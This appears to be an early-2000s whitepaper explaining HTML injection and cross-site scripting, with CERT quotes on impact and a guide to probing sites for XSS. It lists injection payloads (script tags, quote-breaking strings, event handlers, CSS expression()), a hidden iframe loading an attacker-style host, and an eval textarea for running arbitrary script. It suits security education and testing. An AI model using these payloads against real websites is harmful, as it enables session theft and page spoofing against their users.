Www.edup.tudelft.nl/~bjwever/whitepaper xss.html.php

From Skypher

SQL-Injection, HTML injection and Cross-site scripting

Bad user input filtering

A lot of websites do not properly check user input (or they don't check it at all). I will give a simple example of bad input filtering: we are going to enter "<SCRIPT>alert()</SCRIPT>" as the search topic in a search engine. If we press search and the search result gives us a popup window, the user-input was not checked for the existence of the < and > characters. These should be encoded with &lt; and &gt; to be displayed on screen, otherwise they are interpreted as HTML TAG enclosing characters.

Bad user input filtering can result in site deformation by inserting HTML tags, Cross-site scripting by inserting javascript and SQL injection by inserting SQL commands.

User-input includes EVERYTHING a user can get his hands on. For urls this means the whole url: A very old and common XSS bug was to open a non existing page:

http://server/<SCRIPT>alert()</SCRIPT>

The "404-Not found" page would display the URL that could not be found but did not translate the < and > to &lt; and &gt;.

SQL-Injection

I am not an expert on SQL-Injection, so I will not try to say anything on the subject here. Read about it on the various websites and in whitepapers dedicated to it.

HTML-Injection

The ability to insert HTML tags inside a page , the first paragraph explains the principles. HTML-injection is mostly used to insert scripts which do the dirty work, see the next paragraph.

Cross-site scripting (XSS)

Cross-site scripting, also know as XSS is a common bug in websites that allow a malicious user to run arbitrairy scripts on that site when somebody visits a specially crafted URL. There even is a CERT advisory on it (http://www.cert.org/advisories/CA-2000-02.html).

The possibilities a hacker has when exploiting a XSS hole are scary:

The entier content of the site can be spoofed, it can contain anything the hacker wants it to. A user might be reading false information or can be made to enter his credit card number or even download something from a website he trusts when it actually comes straight from the hacker. In the case of web-based e-mail this includes faking incoming our ourgoing emails. In the case of online stores this includes offering fake sales.

The entier contents of the site that a user has access to is also accessable by the hacker. Cookies, personal information, user preferences and configurations and any other data can be read by the hacker. In the case of web-based e-mail this includes reading addressbooks and reading and sending e-mails from the vistims account. In the case of online stores hackers could buy anything in the victims name.

Implications

Some quotes from CERT on the impact of cross-site scripting:

"Users may unintentionally execute scripts written by an attacker when they follow untrusted links in web pages, mail messages, or newsgroup postings. Users may also unknowingly execute malicious scripts when viewing dynamically generated pages based on content provided by other users."

It is very easy to let users automatically "follow untrusted links in web pages" without the user knowing he is doing so. Any website, newspost or forum entry can contain hidden links.

<SCRIPT>
  document.innerHTML += '<IFRAME width=0 height=0 src="http://www.h4x0r.com"></IFRAME>';
</SCRIPT>

"Because the malicious scripts are executed in a context that appears to have originated from the targeted site, the attacker has full access to the document retrieved (depending on the technology chosen by the attacker), and may send data contained in the page back to their site. For example, a malicious script can read fields in a form provided by the real server, then send this data to the attacker."

"The malicious script tags are introduced before the Secure Socket Layer (SSL) encrypted connection is established between the client and the legitimate server. SSL encrypts data sent over this connection, including the malicious code, which is passed in both directions. While ensuring that the client and server are communicating without snooping, SSL makes no attempt to validate the legitimacy of data transmitted."

Most mayor websites boast security through SSL, which can do nothing agains cross-site scripting.

Incidents

As far as I known, no mayor incident with XSS has occured yet. I have been able to write a virus for Hotmail using a cross-site scripting flaw but this offcourse remained in the lab.

How to find cross-site scripting flaws in websites

As I've said, search engines are the most probably places to find cross-site scripting flaws since they handle a lot of user input. Not only should you check whether you can get a cross-site scripting by entering some of the examples below in the "search topic" but you should try it in every possible place to supply information:

http://www.example.com/search?q=foobar&language=en-us&username=SkyLined&password=******************

Should be tested for cross-site scripting flaws in the q, language, username and password variables.

Inserting tags

Try to input one of the following:

foobar<SCRIPT>alert();</SCRIPT>
foobar"><SCRIPT>alert();</SCRIPT>
foobar'><SCRIPT>alert();</SCRIPT>

A popup should show up on the resulting page. If not, look for "foobar" in the source of the returned document. There you can see where your input was put and how it got filtered. Maybe this can tell you how to bypass the filter. The resulting page should look something like this:

<TAG property="...foobar"&gt<SCRIPT>alert();</SCRIPT>">

Other options for TAG insertion:

<IMG src="::" onError="alert();">

<TEXTAREA style="width:100%;height:100%" onDblClick="eval(this.value);"></TEXTAREA>

<BR style="width:expression(alert());">

Inserting properties

Try to input one of the following:

foobar style="width:expression(alert());"
foobar" style="width:expression(alert());
foobar' style='width:expression(alert());

Sometimes sites filter out < and > but not ' or ". If your input gets put in the property of a tag somewhere you might be able to use events or dynamic styles to execute script code. The resulting page should look something like this:

<TAG property="foobar" style="width:expression(alert());">

Other options for property insertion:

onError="alert();"

onLoad="alert();"

onClick="alert();"

style="width:expression(alert());"

I can see a popup, what's next ?

I normally use a 'command window textarea' to ease any further testing of the implications when I think it is nescescary. Most of the times I don't think it is, popin' up a cookie should be convincing enough.

<TEXTAREA style="width:100%;height:100%" onDblClick="eval(this.value);"></TEXTAREA>

In this textarea you can type any Jscript code, double-clicking on it will execute the code you've typed. Insert it in the page and you have a command window inserted in it's DOM.

Links

• XSS2 Whitepaper: Encoding scripts to bypass filters (script spoofing).